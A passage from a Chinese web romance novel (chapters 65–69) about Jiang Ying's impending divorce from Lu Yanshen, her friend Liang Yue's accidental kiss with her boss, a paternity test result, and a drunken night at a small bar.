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她,看她言笑晏晏,眼睛瞪得乌溜溜圆,异常可爱的样子,有那么一瞬出神。
在他身边的女人,从没有像她这样生动的,厌恶他却从不掩饰。
坦然,真实!
沈斯阳情不自禁地伸手捏她的脸,“你若是对我好点,也不是不可能。大礼有,年终奖也有。”
梁玥拍开他的手,这人喝酒了这么好说话吗?
“沈总还挺客气,懂事!”她说着特别狗腿地扶着沈斯阳,眼睛弯成了月牙。
沈斯阳转脸看着她,在她殷勤的搀扶下开门进屋。
只是,不知道谁在他门口放了快递箱,开灯往里走时,被快递箱拌了一脚,本就站不太稳的人快速转身拉住梁玥。
梁玥看他进屋,本来是要走的,冷不丁被人抓住手腕,身体被一股极大的力道扯住往前扑了过去。
紧接着,撞上沈斯阳,在梁玥撞击的力道下,两人齐齐往后倒。
沈斯阳落地的那一瞬间,梁玥直接趴在他身上,粉润的红唇,直直贴在他的唇上。
梁玥整个人愣了,趴在他身上一动不动。
沈斯阳看着眼前人挺翘的睫毛,整个人也怔住,甚至忘记了自己后背被快递箱硌的生疼。
女生温软的唇,还有淡淡的甜味儿,让他不觉间吮了一下,想要更深切地品尝那么甜意。
梁玥反应过来,意识到自己亲了沈斯阳,脸上瞬间火辣辣的。
她慌忙起身,手足无措两秒钟,转身就走。
一只脚刚迈出门,猛然想到刚刚狗东西的动作,脚步顿住。
下一秒,梁玥转身,抬手一巴掌扇在刚站起来的沈斯阳脸上。
还没有站稳的人,被突如其来亲爱的一巴掌,直接扇倒,再一次撞在快递箱上。
“狗东西,你要不要脸?”说完转身走人。
沈斯阳蹲在地上,捂着腰侧,半天没有反应过来。
脸上的疼,不抵心里隐隐的异样,刚刚的触感很好。
坐了良久,他弯唇自嘲地笑了,心想自己应该是素了太久,才会对一个虎里虎气的傻女人有感觉。
梁玥边开车,边擦自己的嘴巴,自己可是初吻,没想到竟然折在了一根烂黄瓜身上。
到家在卫生间又洗了良久,躺在床上久久不能入睡,一闭眼就是沈斯阳那张放大的脸,还有他说的那句要给她送份大礼。
第65章 合格的前任就应该像**一样
次日一早,江莹早早起床,收拾好下楼,看到陆砚深还在睡觉没有搭理他,直接去了厨房。
给自己烤了两片面包,煎了一个鸡蛋,热了杯牛奶。
早餐弄好,她坐在餐桌旁,边吃边刷手机。
刚吃两口,一个电话进来,是一直在外拍戏的好友,孟澜。
她进组两个多月,一直很忙,最近为了赶进度,一直连轴转。
江莹接通电话,声音带着她一贯的甜软,“大明星怎么有空给我打电话?”
“亲爱的,我就不跟你兜圈子了,有件事想求你帮个忙。”
一大早就打电话来,可见事情应该比较急。
“你说,能帮我一定帮。”江莹说着放下了手里的面包。
“是这样,最近有个富二代想追我,被我拒绝后不甘心,利用家里的关系,把我已经谈好的商务代言给截了,据说是要给我的死对头。”
孟澜跟江莹是大学同学,两人同一个专业,孟澜性格外向,是娇俏可人那一挂。
因为不想整天跟木头和石头打交道,所以大二就开始偏离所学专业,参加一些海选和拍摄,一到假期就去影视城跑龙套,毕业后更是直接扎根影视圈。
要说这里面还有梁玥的功劳,她全力支持孟澜追逐自己的梦想,还说将来自己一定会写一部好剧,让孟澜演女主。
这几年,孟澜吃了不少苦,但从未放弃。跑了几年龙套,最近两年开始被导演和观众认可,能够接到女二的戏。
“莹莹,这个商务对我来说不止是钱的问题,是我迈向高奢品牌的第一步,我不想失去这个机会,所以……”
孟澜虽然知道她和陆砚深结婚,但也知道江莹的处境,所以从未找她帮过忙。
这次是关系到她的事业,要不然她不会开口。
“澜澜,我怎么帮你?对商务代言这一块儿,我一点不懂啊。”
“你不用懂,跟你老公说一声就行,我要代言的就是陆氏旗下的星瑶珠宝。”
江莹傻眼,好友第一次开口,但确确实实让她为难,怕是要让她失望了。
“澜澜,你最近忙,有些事就没有跟你说,星瑶的代言……”
“星瑶代言怎么了?”
江莹话还没有说完,身后传来陆砚深低沉暗哑的声音。
“哇哦,你老公声音好好听,一大早听得我耳朵要怀孕。”
江莹转头,目光对上陆砚深漆黑深邃的眸子。
“星瑶的代言,我怕是帮不了你,我跟陆砚深的关系你知道的,我的事他从来不上心,也不会给特权。”
她想说自己跟陆砚深马上要离婚的事,但一大早这狗东西就在她耳边说话,她说了孟澜会信吗?
陆砚深在她身边坐下,“也不是,你说来听听。”
孟澜在电话里咯咯直笑,“一大早撒狗粮,看来陆总对你越来越上心了。梁玥说得不错,日久生情,你这样的尤物,哪个男人能把持得住,能把持住的都不是男人。”
江莹扫了一眼陆砚深,狗男人也就能把持住,当初结婚怎么撩拨都不上道,一直到第一年结婚纪念日两人才有夫妻之实。
陆砚深坐在一边自然而然拿起江莹刚吃了两口的面包,目光沉沉落在她身上。
脑子里反复回味着“尤物”这个词,跟江莹很贴切,尤其是某些时刻。
电话那头,得到陆砚深这样的回复,孟澜直接喊话:“陆总,麻烦您看在江莹的面子上帮帮忙,我已经跟贵公司达成了合作意向,不想被一个渣男截胡送给我对家。”
江莹想去抢狗男人手里的面包,却被某人直接抢走了电话,并开了免提,“我可以问一下。”
“好嘞,谢谢陆总!果然是自家人,就是好办事,我杀青之后回去请你们两口子吃饭,这些年一直想见见陆总,总是没机会。”
江莹扯唇,不是没机会,而是狗东西对她身边的人和事都不感兴趣。
陆砚深津津有味地吃着面包应承道:“可以。”
电话挂断,他看了眼江莹,“人家都知道是你老公的公司,你还拒绝,不伤感情?”
江莹抿唇,“我一个人从你身上薅羊毛你就已经烦得不行,若是拉着身边的所有人都从你身上薅,你还不得把‘捞女’两个字刻在我脑门上?”
明显的冷嘲热讽,让男人不悦。
“我刚刚帮了你。”
“我让你帮了吗?”江莹看着他手里没剩两口的面包瞪了一眼,“陆砚深,我们要离婚了,以后不会有关系,一个合格的前任,就应该像**一样,不留任何痕迹。”
陆砚深皱眉,为什么一大早就这么大的火气?他昨晚干什么了?
又没干什么坏事,睡了一晚沙发他都没有生气,还答应帮她朋友,怎么还诅咒他死呢?
“江莹,你就这么恨我?”陆砚深冷眼看着她,心里很不爽。
江莹扫了一眼陆砚深,弯唇冷笑,“怎么会,我感谢陆总,让我一晚上入账六百万,薅羊毛的感觉真不错。”
说完,她起身离开。
陆砚深愣了,自己干什么了怎么就让她入账六百万?
搞不明白的某人吃着自己手里的三明治,点开了手机,看到里面的转账记录,脑子里努力回想昨晚自己做了什么,为什么要给她转钱?
想到刚刚江莹恶狠狠地说“捞女”这两个字,怀疑自己昨晚是不是说了不该说的话,要不然她拿了钱为什么会这么恨他。
去年她生日前,在杂志上看到一个包儿,当时国内没有,他就让杜宇找人从国外代购,当时回来已经是江莹生日过后的第二天。
他记得很清楚,当时江莹拿到
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包时那个兴奋,抱着他的脖子不撒手,双腿盘在他腰上,对着他的脖子一阵亲。
那张小嘴,一会儿“老公真好”,一会儿“老公我好爱你”,一会儿“老公,你是全天下最好的老公”,恨不得把所有好听话都说完。
那时他一脸嫌弃的说过她财迷,难道昨晚又说了?
江莹到古坊斋,看了凌澈给她发的灯笼和年味挂件,她都挺喜欢,于是让凌澈安排厂家生产,趁着年前卖一波。
凌澈刚好上午没课晚了一会儿也到了古坊斋。
他现在干劲儿十足,之前自己没有本钱,只能拿到订单才铺货,所以挣得也不多。
现在江莹给足了他底气,铺货肯定没问题,现在考虑的就是该怎么提高销量。
“师姐,我对我们的产品有信心,只要能让更多的人看到,他们一定会喜欢,但现在若是等着网上客户自己找,那销量根本起不来。”
江莹当然知道这个问题,这两年自己都是小打小闹,挣的钱连母亲的医药费都维持不到。
“这个事情我也想过,但我们毕竟才开始,急不来。”
凌澈点头,他也知道,做事情不能一口吃个胖子,先把东西做出来,才有人看得到。
相比他之前连做都不敢做,只能等着客户确认才能下单,已经好很多。
江莹嘴上说不急,心里并没有放弃,她们刚起步,凌澈热情高涨,不能让年轻人寒了心。
铺货的钱,她有也不怕陪,但不能打击年轻人的积极性。
想到这里,她心里有个想法。
正当她盘算着该怎么落实,孟澜打来电话,“宝儿,你帮了我大忙了,刚刚星瑶市场部的经理打来电话,说下午可以去签约,你老公可以呀,行动派,给力。”
江莹愣了一瞬,陆砚深有病,一个月后就可以拿离婚证了,他这个时候装什么大尾巴狼?
“是你自己优秀,星瑶的领导层又不傻。”
“不不不,你不懂我们这个行业,资本认谁,谁就优秀,自身是一方面,但很多时候资本的力量不是我们能抗衡的。”
孟澜这么说江莹能理解,她这些年有演技,有长相,但一直没有大爆,缺的就是人脉和资本。
当然她有自己的底线,钱可以少挣,但不能失去自我,绝不为了上位接受潜规则,要不然也不会得罪富二代,把到手的商务差点弄丢。
“澜澜,在我眼里你已经很优秀了。”
“亲爱的,你就别夸我了,还有一周我这边就结束了,回江北了请你吃饭。”
孟澜小巧甜美,说话语气中都透着俏皮。用梁玥的话,她的长相和气质是男女老少通吃。
“行,等你回来。”
江莹听着她的声音,不由得弯起了嘴角,不管怎么说,孟澜的问题解决了。
第66章 亲子关系不成立
挂了打电话,江莹突然觉得自己盘算的事迎刃而解。
“凌澈,你说我们若是请明星给我做一场直播是不是就把名气打出去了?”
凌澈刚刚听她跟朋友聊天挺高兴,没想到挂了电话,直接就说到了工作上。
但明星直播带货,哪儿那么容易,他们这点利润怕还不够付代言费。
“师姐,我们刚开始,请明星直播预算是不是太高了?”
直播的想法凌澈想过,但个人直播带货没那么容易,而且他们现在开始显然有些来不及,因为连直播号都没有。
“钱的事你不用管,我觉得我们的产品要丰富一下,这样你找一些口碑比较好的古风饰品店,看能不能合作,给我们提供货源和设计。”
凌澈**莹的想法惊住,古风饰品现在比较流行,即便是在江北,都能随处见到古风装扮的姑娘。若是他们能进入到古风饰品这个领域,无疑不缺市场。
“行,这个领域,我之前也很看好,刚好我有个同学就在经营自己的簪花小店。”
“那太好了,跟你同学说说,只要她东西设计新颖,质量好,可以合作。”
江莹有些兴奋,之前没有想过古风饰品,现在她觉得古代饰品也值得传承下去,中国文化博大精深,值得被所有人看到。
……
此时,梁玥正顶着熊猫眼坐在办公室的卡位上,看一部爆款短剧,边看边打哈欠。
“这么困,昨晚偷牛去了?”
沈斯阳早上起来浑身酸痛,想到昨晚那个意外的吻,整个人就精神的不行。
昨晚说了要给某人一份大礼,于是忍着痛,来到公司。
经过编剧部,看到梁玥托着脸打哈欠,忍不住上来打趣。
折腾她一晚上没有睡着的人,声音突然从她头顶发出,吓得她一个激灵。
梁玥转头,狗男人一身挺括的站在她跟前,“你怎么来了?”
“我是老板,我不能来?”
梁玥看到他,昨晚那个吻莫名其妙往她脑子里钻,一时有些脸热。
“你来我们办公室干什么,赶紧走啊。”
沈斯阳扯唇,这丫头就这么怕跟他沾上关系?
他睨了梁玥一眼,一本正经道:“我来给你送大礼。”
说完直接转身离开,去了总经理办公室。
看人离开,梁玥深吸一口气,端起水杯喝口水压压惊。
只是一口水含在嘴里还没有咽下去,人事经理过来。
“小梁,从现在起,你的岗位有变动,沈总缺个秘书,你先暂代一下。”
“噗……”
梁玥嘴里没来得及咽下去的水直接喷在了她面前的绿萝上。
“朱经理,你说什么呢?”
“去秘书办吧,这是沈总特意交代的。”
朱经理摊摊手,他也表示不理解,好好一个编剧,业绩还不错,怎么被调去当秘书。
人事经理刚走,旁边的罗姐凑了过来,“小梁,好事啊,跟在沈总身边,能结交到不少人脉。你不是想写长剧吗,说不定这就是机会。”
“罗姐,我一个编剧当什么秘书,你觉得我这样的性格适合当秘书吗?”
“我觉得你肯定能干好。”
罗姐很喜欢她,这丫头脑子活,心眼儿好,还不遗余力帮助身边的人,整个公司找不出比她人缘更好的人。
想到天天要面对沈斯阳,梁玥生无可恋的趴在桌子上。
良久,内线电话响起,是通知她上岗的。
梁玥皱眉,气呼呼去敲他办公室的门。
“进!”
狗男人声音里少有的严肃,跟平时吊儿郎当的音色截然不同。
梁玥进门看到端坐在办公桌前的沈斯阳,有那么一瞬恍惚,看惯了他不务正夜的样子,现在突然正襟危坐,还挺勾人。
“梁秘书来报到?”
沈斯阳低沉的声音,让梁玥回神,看他嘴角噙着一抹她熟悉的笑,梁玥暗骂,刚才还真被狗东西给装到了。
“沈斯阳,你什么意思?”梁玥像个炸毛的狮子,恶狠狠瞪着他。
沈斯阳身体往后靠在办公椅上,双腿交叠,手指在桌面上有一下没一下的敲击,嘴角勾着笑,一看就心情不错。
“给你送大礼呀,当我的秘书,工资涨了不开心?”
“沈总,我之前确实得罪过你,但你拿着我的照片威胁我还不够吗,为什么现在连我的工作你不肯放过?”
梁玥咬牙,她喜欢写作,喜欢看到自己笔下的人物一个个在荧屏上活起来,所以对待工作她从来不马虎。
“当秘书,你照样也可以写剧本,怎么说的好像是我针对你一样?”
沈斯阳勾唇笑笑,臭丫头踹他屁股,拳打他老二让他差点**,还害得他刚有点兴趣的姑娘见到他避如蛇蝎。
不折腾她一段时间,太对不起自己。
“沈斯阳,你……行,我一定好好伺候你。”
说完,梁玥出门,在秘书办开始整理自己的工位。
……
晚上,梁玥找江莹一起吃饭。
见面就开始吐槽沈斯阳,把他从头骂到了尾,祖宗十八代都问候了一遍。
江莹安慰,“你要是实在不想干,就离职,以你现在的成绩,跳槽很容易。”
听到离职,梁玥偃旗息鼓,她要真离职了,沈斯阳更不会放过她。现在特别后悔怎么就没有提前打听一
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下狗东西的背景,若是知道他是自己公司老板,绝不会跟他杠上。
“离职,还是算了吧,我现在……我先试一段时间。”
江莹看她嫌弃又不想走的样子,有些担心,“给你提个醒,沈斯阳外在条件是不错,但他历届女朋友都没有超过半年的,你别……”
“想什么呢,我会看上他……”梁玥瞪着眼睛摇头,“你放心,就是天下男人都死绝了,我都不会看上他那个垃圾。”
瞅着她不像是说假话,江莹暗暗松了口气,沈斯阳在圈里是出了名的花心。但有钱有颜的男人,向来吸引女性,她确实担心梁玥喜欢上他,然后受伤。
“玥玥,我的经历你看到了,像沈斯阳和陆砚深这样的背景,他们的婚姻讲究门当户对,婚姻与他们而言只能是锦上添花。因为家庭的悬殊,我跟陆砚深从一开始就是错,所以不希望你重蹈覆辙。”
“你放心,我明白,再说了我可看不上一根烂黄瓜。”
想到昨晚沈斯阳吮吸她的唇,就知道狗男人很会。
哼,脏东西!
“对了,你说这个我要不要变现?”江莹说着从包里拿出婚戒。
梁玥视线落在她手里的戒指上,有些忐忑,“这个……应该也可以,毕竟给你了就是你的,而且是结婚后买的,属于婚内财产。”
说话间,梁玥看到宋瑾修带着一个女人和孩子进来。
她笑兮兮抬手打招呼,“师哥,好巧,你也来吃饭?”
宋瑾修看到江莹和梁玥,阴沉着的脸,瞬间染上了笑意,“这么巧,你们俩也在这会儿吃饭。”
江莹转头看过去,被他身边的女人和孩子吸引。
竟然是她!
“师哥,这位是?”
江莹盯着女人那张恬静温和的脸,不觉间跟陆君作比较。
相较于陆君的强势,这个小鸟依人的女人显然更让人有保护欲。
宋瑾修看江莹盯着自己身旁的人看,弯唇解释:“这是我表妹,刚带着孩子来江北。”
陆砚深他姐夫的出轨对象是宋瑾修表妹,这……
“师哥要不要一起?”梁玥的视线也不由得在女人脸上停留。
“不用了,小孩子比较闹,不打扰你们。”跟在宋瑾修身边的女人,声音轻轻柔柔。
“你们俩吃,我订好了位置在楼上,改天一起吃。”
“也好。”
江莹说话间,微信进来一条消息,是昨天加急做的亲子鉴定,她要求结果出来第一时间发给她。
宋瑾修带着人离开,江莹点开了消息,鉴定结果跟她预想的毫无出入。
她跟张启明那份鉴定明确写着:亲子关系不成立。
第67章 我不是狗先生
“哎哎,看什么呢?那么入神。”梁玥看江莹盯着手机,夹了菜递到她碗里,“吃饭了。”
江莹回神,关了手机,“没事,吃饭吧。”
嘴上说着没事,心里却像针扎一样,张启明果然不是她亲生父亲,自己被他牵制,这些年在所谓的亲情和陆砚深的轻视中生存。
原本想着即便他从来不曾疼爱自己,但毕竟给了她生命,现在觉得自己这几年过得就像个笑话。
从餐厅出来,江莹跟梁玥分开后,坐在车里良久都没有动。
心里的恨压抑不住,让她给张启明发了条消息:昨天回去找东西,不小心把你的牙刷掉到了马桶里,走后有事岔开忘了告诉你,记得换牙刷。
昨天她拿了张启明的牙刷后,从储物柜里拿了一模一样的放在了原处,就是不想让张启明知道,进而有所防备。
发完消息,深深吐了口气。
看到秦欣的朋友圈,整个人瞬间僵住,一股寒意从心底腾起,瞬间席卷全身。
【多年前的戒指,跟他生气就扔了,原本以为不会有机会戴了,却不想今天他说欠我的会慢慢补回来。好遗憾,那是我亲自设计,他找顶级珠宝师做的。】
秦欣朋友圈里的戒指,江莹再熟悉不过,是她厚着脸皮要来的婚戒,原以为不管怎么说,陆砚深还是弥补了她心里的缺憾。
没想到,她视若珍宝的东西,却是陆砚深送给秦欣,她生气扔掉不要的东西。
即便已经下定决心离婚,但看到这样一条消息,将自己的不堪赤裸裸展现出来,江莹的心依旧痛得她喘不过气。
指甲钻入掌心,秦欣的每个字,都是在对她收到戒指欣喜若狂的耻笑。
她曾以为的守得云开,不过是他随手的打发。
两年前的那晚,她记得特别清楚。
晚上十一点,陆砚深从外面回来,她已经在沙发上睡着。
听到他的脚步声,揉着眼睛奔向他。
“老公,怎么又这么晚?有没有喝酒?”
陆砚深当时盯着她,视线暗沉,似乎压抑着什么情绪。
后来她一度解读为,他是压着笑意,现在明白了,他压抑的怕是恨和遗憾。
“你要的东西。”
当时的陆砚深声音低沉,从口袋里掏出东西,直接塞到他手上,然后上楼。
江莹打开看到戒指的那一刻,瞬间觉得自己被照亮,钻戒璀璨的光晃的她觉得自己置身在一片斑斓里。
抬头看着男人挺拔的背影,眼眶一热,朝他奔了过去。
她主动吻了陆砚深,也是那一晚,他们俩成了真正的夫妻。
想到那晚的事,江莹突然笑了,泪水却簌簌往下掉,落在腿上,洇湿一大片。
陆砚深,你对我可曾有过半分真心?
这时,张启明的电话打来,江莹看都备注“爸爸”两个字,心里一阵闷疼,心脏像是被人扯住,又闷又疼。
看着电话一遍遍打进来,她抬手挂断,然后将备注改成了“张某人”。
……
此时,秦欣躺在沙发上,晃动着酒杯,在发消息。
【搞不懂,这个时候发这条消息有什么意义,不就是一个即将没有意义的婚戒吗?】
老太太生日那天晚上,她看到江莹手上的戒指确实很嫉妒,但江莹都已经跟陆砚深登记离婚,她实在想不通这么做还有什么意义?
然而,她消息发出去如同石沉大海,对方迟迟没有回她。
秦欣睨了一眼手机里备注的名字,随手发了两张儿子的照片,冷笑着退出聊天界面。
这时,她的助理打来电话。
秦欣不耐烦地接通,“大晚上,什么事?”
“秦总,下周的逍遥楼项目启会,您要去参加吗?”
明天就要确认订票,秦欣已经两天没有去公司,助理一直找不到她的人。
逍遥楼复原,秦氏想要参加竞标,毕竟是政府工程,若是能拿到将是名利双收。
秦欣之前明确说过不想放弃这个机会?
现在听助理这么一说,她恍然大悟,这两天心情好忘了这件事,那人把图纸给她后,她就直接以公司的名义递交了。
于是,按照之前的计划,开口道:“你跟杜特助对接一下,听他的意见。”
杜宇在帮她善后,他的安排就代表了陆砚深。
挂了电话,她抿了口酒,心底的愉悦让她整个人的状态看起来特别松弛。
心想,这人除了太阴狠,其他方面还是很强的,现在事情确实都朝着她想要的方向发展。
然而,此时的陆砚深却与她的恣意松弛截然不同。
梧桐里,夜里十点半。
深冬的江北,寒风呼啸,树枝簌簌作响。
书房的窗户被树枝滋滋啦啦划过的声音不绝于耳。
陆砚深下班后犹豫良久,还是厚着脸皮回来,甚至都想好了借口,就说来收拾自己留在这里的东西。
他睡眠向来不好,回湖心公馆肯定是睡不着的,江莹刚离家出走那两天他试过了。
看江莹没有回来,所以他直接来了书房。
陆砚深喜欢在安静的环境下办公或分析数据,效率比较高。但最近,很奇怪,环境太过安静,
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他反而不容易集中精神。
以前在湖心公馆,他三令五申不准江莹去他书房。但她向来不听话,不是去送水,就是送牛奶。
而且每次送完,总有理由赖着不走,要么借口打扫卫生,要么给他捶背按摩,反正就是能多赖一会儿就多赖一会儿。
实在赶不走,他也就懒得说,只是警告她不要影响他工作。
每次她保证得好好的,但过不了多久,就开始在他身边晃,还小心翼翼凑到他跟前。等他实在受不了,提醒她安静时,她弯起眉眼把水递到他手边,然后夸他能看那么复杂的数据,夸他好厉害,这么难得的东西都能看得懂……
那张小嘴,一张一合间,会让你觉得自己很厉害,很了不起。
以前明明觉得她很聒噪,但最近她突然不在自己跟前转了,陆砚深发现自己反而不习惯。
原本以为给她台阶自己会下,但向来乖巧的女人异常的倔强,她不但不下,反而离自己越来越远。
甚至不屑**轩轩威胁自己离婚。
想到这些,陆砚深点了根烟,现在的江莹像个刺猬,不允许他靠近。
若不是她还没有回来,怕是自己也不可能这么顺利坐在书房。
他抬手想要喝口水,却发现杯子里根本没水。
从江莹开始跟他生气,他的水杯里就再也没有大麦茶,那是江莹专门找老中医寻的方子,消积食,缓解胃部不适。
他起身准备自己去倒水,旁边的手机响了。
他转头看了一眼,是个陌生号码,于是没有接。
等陆砚深接了水回来,同一个号码再次响起,他才慢条斯理地摁了接听。
“喂,您好,苟先生吗?您老婆在我店里喝醉了,麻烦您赶紧过来把人接回去,我们要打烊了。”
打电话的人声音听着是一个上了年纪的大叔。
“打错了。”
陆砚深声音冷淡,说完直接挂了电话,什么狗先生?
但没过一会儿,电话又打了过来。
陆砚深皱眉,再次接听。
“你打错了,我是你要找的人。”
“没打错啊,这姑娘手机里备注的就是老公。”
陆砚深不耐烦道:“我不姓狗。”
说完又挂了电话。
两分钟后,电话响了一下,不是电话,而是江莹发来了消息,是一张照片。
照片里环境比较简陋,不像是灯红酒绿的酒吧,倒像是街边的小酒馆。而趴在桌子上不省人事的女人正是江莹。
陆砚深眸色沉了沉,立马拨通了刚刚的电话,“你好,店在哪儿?”
第68章 三百我都不愿睡你
“大婶,再给我来瓶酒。”
江莹眯眼晃动着手里空荡荡的酒杯,大着舌头要酒。
大婶看她跟自己姑娘年纪差不多,有些不忍心。
这孩子一进来啥菜都没有点,就要酒。
小店是老两口做的,看她情绪不好,就没敢给她上高度酒,说只有啤酒。
但架不住人家是真心买醉,一连喝了四五瓶,还真给自己灌醉了。
“姑娘啊,时间不早了,可不能再喝了,不管什么事回去睡一觉明天再想。”
大婶自己也有个女儿,看江莹跟自己孩子年岁相仿,不由得心疼。
“我没喝醉,几瓶啤酒哪儿能喝得醉。”
老板大叔摇头,明明已经醉了,还说自己没醉,也是哪个醉鬼会承认自己喝醉了。
不过这酒量也不咋的,几瓶啤酒给撂翻了。
大婶好心给她拿来一瓶汽水,江莹一口喝进去,就喷了出来。
小脸皱着,一脸委屈,“大婶,你拿两块钱一瓶的橘子味汽水骗我?”
大婶笑了,这丫头喝醉了还能分出是橘子味儿。
下一秒,江莹直接哭了起来,“怎么连你也欺负我,怕我付不起酒钱吗?”
哭着拍了把桌子坐直身体,“我告诉你,我有钱,我老公钱多的能买下半个江北市,还差你这点酒钱?”
大婶朝自己老公撇撇嘴,真是喝傻了,什么话都敢说。
但你说她醉了吧,她还能分清汽水不是酒,若说她没醉,她连自己家在哪儿都不知道。
刚刚问她家住哪里,她想了老半天,开口却说自己也不知道哪里算是家。说老爸有了别的女人把她的房间给了继女,老公在外面有人,婚房都卖了。现在只能住在外公留下的老房子里,还天天被狗追。
大婶看她可怜,嘟囔道:“不管老公是不是真的有钱,在外面有人就不能要。”
“我看在她就是喝醉说胡话,现在这女孩子短剧看多了,动不动就做梦想嫁给首富。我们江北什么时候有个姓苟的富豪了?我只知道陆家、沈家、周家,从未听说过还有个苟家。”
大叔说着收拾东西,等着人来接江莹。
江莹趴在桌子上,一会儿说自己要离婚,一会儿说要把家抢回来;哭着骂狗男人没良心,从来没有爱过她,还大逆不道说一定要让自己老妈也离婚。
大婶听得愁云惨淡,这家到底是发生了什么事,看着好好一个姑娘怎么给整的精神**一样。
门口传来车子的引擎声,一辆黑色的迈巴赫堪堪在店外马路边挺稳。
“嘭”一声关门声,一个挺拔的男人径直朝店门走来。
男人推门进来,一身西装革履,面容俊朗沉敛,与店内的环境格格不入。
这样一个矜贵不凡的人,一看就是社会精英,应该出入各种高档场所,而不是他们这种街边小店。
大叔上前,“先生,你是……”
随着店门被拉开,一阵寒风涌入,江莹一个哆嗦直了起来,“大叔,我包场了,关门给我拿酒。”
原本甜软的声音,这会儿听着有几分豪气和不耐烦。
“你,出去,姐姐今晚包场,去别家吧。”
陆砚深盯着小脸绯红的女人,眸色深沉,剑眉拧在一起。
大叔无奈地摇头,赔笑道:“先生,我们这里马上要打烊了,不好意思。”
陆砚深不但没有走,反而上前两步。
江莹不悦,动作不稳地站起身,看着眼前晃来晃去的男人,不耐烦道:“听不懂吗,我包了,没酒也没菜。”
“没酒没菜,你在这里干什么?”
大婶反应过来,凑过去问道:“你是苟先生?”
陆砚深脸上瞬间黑了一个度。
江莹摇摇晃晃上前,仰脸看着眼前的男人,“你管我?狗男人都不管我,你管?”
她脸颊绯红,头发凌乱,身上的衣裙褶皱不堪,浑身的酒味儿,比上次在迷度喝醉更狼狈。
一双水汪汪的眼睛,红肿不已还蒙着一层水雾。
“回家。”
随着男人沉冷的声音出口,老两口看看彼此,还真是她老公。
听到这个“家”字,原本像个刺猬的人,小脸瞬间皱在一起,哭唧唧道:“我没有家,没有人喜欢我,他们都不想要我。”
说着揪住陆砚深的衣领,“你怎么还不走?”
大婶过来劝和,“丫头,你丈夫来接你,你就跟他回去吧,有什么事明天好好说,别跟自己身体过不去。”
江莹转脸看着大婶,伸出食指在脸前晃了晃,“我没有丈夫,我丈夫已经**。”
大婶心里咯噔一下,“**?”
“嗯哼,一个合格的前任就要像**一样,消失在彼此的生活里,所以他对我来说跟**一样。因为今后我的生活里不会有他的痕迹,他被我踢出局了。”
她说着,很应景地抬脚把自己脚边的酒瓶一脚踢开,酒瓶撞在不远处的墙上,“嘭”一声炸裂。
看到酒瓶炸裂,她眨了眨眼,随即笑嘻嘻道:“碎得好,旧的不去新的不来。”
大婶隐隐为她担心,她这老公一
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看就不好惹,这丫头看着娇娇弱弱,怎么喝点酒说话一句比一句不靠谱。
陆砚深皱眉,沉默一瞬,一手拿起江莹的外套,一手握住她的手腕,声音清冷,“走了。”
江莹被他拉着,开始挣扎,“我还没有付钱呢,不能走。”
说完挣脱他的手,开始翻包,“大婶,结账。”
大婶心想总算是要走了,她还没有算账,江莹从包里摸出一个闪闪发光的东西递给大婶,“我没带钱,用这个抵今晚的酒钱。”
那戒指在灯光的照射下,折射出璀璨的光,大小少说也有五克拉。
就在她把戒指塞到大婶手里时,陆砚深将戒指夺了过去。
江莹拧眉,“你这人有病吧?”
“你拿婚戒抵酒?”陆砚深压着怒意,声音听着冷了几分。
“我的东西,想怎么用怎么用,关你什么事?”
陆砚深脸色难看至极。
大婶怕他们吵起来,忙道:“几瓶酒不值钱,算了你们赶紧回去吧。”
江莹盯着陆砚深,原本气呼呼的小脸,缓缓放晴,水汪汪的眸子弯成了月牙,“靓仔,你好像比我那个**老公还喜欢管我,你是不是对我有意思?”
陆砚深眸色冷峻,“你觉得呢?”
大婶心想,这个男人似乎也并不像看起来那么冷淡,最起码没有真生气,还逗她玩儿。
“我觉得你挺好的,比陆砚深那个狗男人对我好,知道关心我。”江莹抬手戳着他的下巴,“这个戒指够不够包你过夜?”
大叔大婶!!!!
陆砚深原本饶有兴致的眸子瞬间黑了下来,眼神跟淬了冰一样,毫无温度。
“你觉得我一晚上值多少?”
陆砚深声音透着危险,迷糊如江莹根本听不出来。
大叔拉着大婶往后退了两步,生怕下一秒受牵连,这丫头喝点酒不知死活,别被她连累了。
江莹掂起脚尖,捏着他的下巴左右转了转,然后食指贴在他唇上,醉醺醺笑道:“市场价三到五千不等,你这个长相倒是上乘,一晚上五千也是可以的。但跟我那个死鬼老公有几分像,所以不值钱,别说三千,三百我都不愿意睡你。”
陆砚深脸色阴沉得可怕,黑得能拧出水来。
江莹似乎看出了他不高兴,连忙安慰:“乖,对不起,你别难过。我不是说你不值,主要是你跟他长得有点像,我嫌他恶心,睡不下去。你换个人,在别人那里,你肯定值五千。”
陆砚深磨了磨后槽牙,幽深的瞳孔冷得骇人。
第69章 靓仔,你就这么想跟我睡?
下一秒,直接将衣服裹在她身上,把人抱了起来。
“现在行情?你倒是知道得不少。”
“你放我下来,我不想睡你,你这个长相我没兴致。”江莹说着小腿踢得老高。
大婶见状,赶紧去帮忙开门,像是怕陆砚深会打江莹,开口劝道:“这丫头情绪不好,喝醉了胡说,小两口有事好好沟通,夫妻床头吵床尾和。”
陆砚深走到门口脚步顿住,“明天我会让人来结账。”
大婶笑道:“不用了苟先生,这丫头什么都没吃,就要了五瓶啤酒,不值钱。”
陆砚深皱眉,“我不姓狗?”
大婶疑惑,“怎么会,我问了,这丫头说她老公姓苟。苟这个姓少,我姐夫也姓苟,当年我家这位第一次去我家,叫我姐夫苟哥,还闹了笑话。”
大婶说着笑了,大叔想到那件事也哈哈笑了起来,“确……确实,这个姓容易闹误会。”
陆砚深:……
老两口看着男人抱着江莹往路边停着的车走,心里送了口气。
“我看她这个丈夫就是性子冷了点,若是真的不喜欢她,怎么会这么快就过来接她。”
“我看着也是,你看这几步,那丫头对他又捶又打,那男的不但没有松手,反而把人抱得更紧。”
老两口看戏一样,站在门口。
“哎,老婆子,你怎么知道他跟你姐夫一个姓?”
大婶白了他一眼,“天下苟姓有几个?我问那丫头他老公叫什么,她说她老公姓苟,就是名字没听太清,好像是叫什么栋,什么期。”
大叔嘟囔道:“苟栋期”
大婶愣了一瞬,“狗东西?”
老两口你看看我,我看看你。
陆砚深小心翼翼将人放进车里,等他绕到驾驶座上车,就看到江莹闭着眼歪头靠在玻璃上,安静又乖巧。
他侧身过去,伸手扯出安全带,刚帮她扣好,女人软绵绵的胳膊攀住他的脖子。
一抬头,就看到江莹眯眼看着他,嘴角噙着笑,悄声说道:“靓仔,你就这么想跟我睡?”
她的眼睛很大,睫毛长而密,不笑的时候,这双眼睛透着几分清冷,笑起来眼尾上挑,嘴角的梨涡清纯可人。
